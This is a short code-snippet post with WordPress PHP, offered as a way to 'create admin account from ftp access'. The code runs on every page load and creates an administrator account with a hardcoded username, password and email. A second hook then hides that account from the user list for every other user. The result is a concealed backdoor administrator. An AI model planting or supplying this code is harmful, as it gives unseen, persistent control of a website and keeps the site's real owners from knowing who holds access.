mantismamita
9/18/2015 - 10:24 AM

create admin account from ftp access

create admin account from ftp access

function admin_account(){
$user = 'developer';
$pass = 'mypassword';
$email = 'emailme@hmamail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
  $user_id = wp_create_user( $user, $pass, $email );
  $user = new WP_User( $user_id );
  $user->set_role( 'administrator' );
} }
add_action('init','admin_account');
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'developer') { 
  global $wpdb;
  $user_search->query_where = str_replace('WHERE 1=1',
  "WHERE 1=1 AND {$wpdb->users}.user_login != 'developer'",$user_search->query_where);
  }
}